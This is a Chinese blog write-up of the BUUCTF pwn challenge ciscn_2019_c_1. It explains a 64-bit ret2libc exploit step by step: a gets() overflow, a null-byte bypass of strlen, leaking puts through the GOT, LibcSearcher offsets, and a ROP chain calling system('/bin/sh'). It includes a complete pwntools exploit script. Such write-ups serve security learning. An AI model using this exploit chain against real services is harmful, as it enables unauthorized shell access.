BUUCTF刷题之路-ciscn_2019_c_11

在第一次做这题的时候,坐牢了很久,知道题型是ret2libc,但是对构造rop链不是很熟悉。而且想学懂ret2libc得先对GOT表和PLT表有足够的了解才行,经过wiki的ret2libc1-3的学习后尝试再次解题,以及参考别的大师傅的文章,算是解出来了。接下来附上详细的思路和wp,查看下程序开启的保护:

这是个64位的程序,没有开启金丝雀和PIE。

尝试运行如下:

 我们输入的aaaaaaaaaaaaaaaa变成了llllllllllllllllllllllllll应该是做了处理。接着我们查看IDA给我们反汇编出来的C代码:

 漏洞函数在encrypt()里面:

       看到gets函数,存在栈溢出漏洞。但是题目做了一些处理,他会把我们输入的值给替换成其他的,这会影响我们偏移的计算。看到有个师傅用了个很巧妙的方法绕开这个替换,我们看到如果v0>=strlen(s)就会退出循环,而strlen()函数遇到/0就会停止因此在构造payload直接一开头就传入/0绕开这个替换非常的巧妙,一会在脚本中我们会看到。

        接着我们尝试在程序中查找我们想要的system函数和'/bin/sh'字符串的存在。直接IDA字符串检索发现程序中不存在我们想要的,那么就需要我们通过泄露libc所在的位置来找到我们想要的函数地址和字符串。这里有个小知识点,就是在libc库中,每个函数相对于起始位置的偏移是一定的,不管基地址加载到哪里。通过偏移我们就能找到想要的函数,当然随着libc版本的不同偏移也是不一样的。我们还需要知道在64位程序中,函数的前6个参数是由寄存器传递的分别是:rdi,rsi,rdx,rcx,r8,r9然后才是通过栈传递。理解这个对我们构造的payload才能理解透彻。下面我将用图来描述溢出的整个过程:

我们输入的值是从栈顶开始的也就是esp和s的地址是同一个地方,填充到rbp指向的位置,并且覆盖指向位置往下的8个字节,因为这8个字节是old rbp的值。在下面是原来的返回地址,不过现在被我们填充成了pop_rdi_ret。这是在干什么呢,因为我们要泄露puts函数的地址来推算出libc的基地址。因为在知道的libc版本后每个函数的偏移我们都是可以查到的。网站如下:

网安 - 即将跳转到外部网站

因为程序走到这时puts函数已经执行过了,got表里面填充的就是puts函数的真实地址,因此我们再次调用一次puts函数并把puts的got表的内容当做参数传给puts函数,所以程序会去puts_plt去执行puts函数,并把puts函数的真实地址打印出来。那么main_addr是干嘛的呢,其实它的作用是当泄露完puts函数的地址后,使程序重新执行一次以便构造新一轮的paload。所以这里会填充main函数的地址。下面我们附上完整的exp并接着讲解:

from pwn import *
from LibcSearcher import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

# io = process('ciscn_2019_c_1')
io = remote('node4.buuoj.cn',28649 )
elf = ELF('./ciscn_2019_c_1')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400c83
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9

io.sendlineafter('Input your choice!\n', '1')
// '\0'用来strlen函数绕过,防止输入加密字符串s被加密,第一个payload用来获得libc
# payload = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
# io.recvuntil('Ciphertext\n')
io.recvline()
io.recvline()
// 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分。
# puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
# puts_addr = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

// 工具获取libc版本号并计算偏移值,然后计算后门函数内存地址。
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
// 本地libc计算相应内存地址。
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search('/bin/sh').next()

io.sendlineafter('Input your choice!\n', b'1')
// 第二个payload用来获取shell,高版本libc加上ret来平衡堆栈。
payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'a' * 0x58 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sleep(1)
io.sendlineafter('encrypted\n', payload7)

# io.shutdown('send')
io.interactive()

这是别的师傅写的,看了好几个版本我觉得这个最好理解原文链接如下:

(46条消息) ciscn_2019_c_1_半步行止的博客-CSDN博客

这是完整的exp我们分段分析,第一个payload我介绍的很清楚了,可能有人不理解为什么填充数据那里还要-0x01,因为前面/0占用了一个字节了呀,讲清楚一点以免钻牛角尖,接着会用两个io.recvline()来接收回显,第一个接收的是Ciphertext这个回显,第二个才是接收puts函数的地址,然后用切片截断,注释写的很清楚这个作用:

// 工具获取libc版本号并计算偏移值,然后计算后门函数内存地址。
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
// 本地libc计算相应内存地址。
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search('/bin/sh').next()

 我们分析这里是做什么的,得到了puts_addr这个puts函数的真实地址,减去puts在libc的偏移得到Libc加载的真实基地址,然后利用基地址加上system函数的偏移得到system函数的真实地址。最后同理算出/bin/sh存在的真实地址。

io.sendlineafter('Input your choice!\n', b'1')
// 第二个payload用来获取shell,高版本libc加上ret来平衡堆栈。
payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'a' * 0x58 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sleep(1)
io.sendlineafter('encrypted\n', payload7)

我们在前面说了为什么要填充一个main_addr,这段代码是第二次程序执行时,构造的第二个payload为了得到shell,第一个是单纯的ret函数地址,为了栈平衡,rip指向这个地址会执行一个ret指令,rsp+8指向pop_rdi_ret地址,接着把pop_rdi_ret的地址弹到rip上,这里会执行两句代码:pop rdi;ret,首先会把binsh_addr的地址弹到rdi寄存器上当做参数,接着rsp+8指向system_addr地址,接着ret执行后会把system_addr的地址弹到rip上转而去执行system函数。由此我们的利用链就这么完成了。我自己在研究的时候研究了很久,借此写的详细点供大家理解。全部基于我自己的理解,如有错误欢迎指出。如果不能很好理解多看几遍,总有不同的思考,学pwn的乐趣也许就在这了。附上得到flag的图:

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值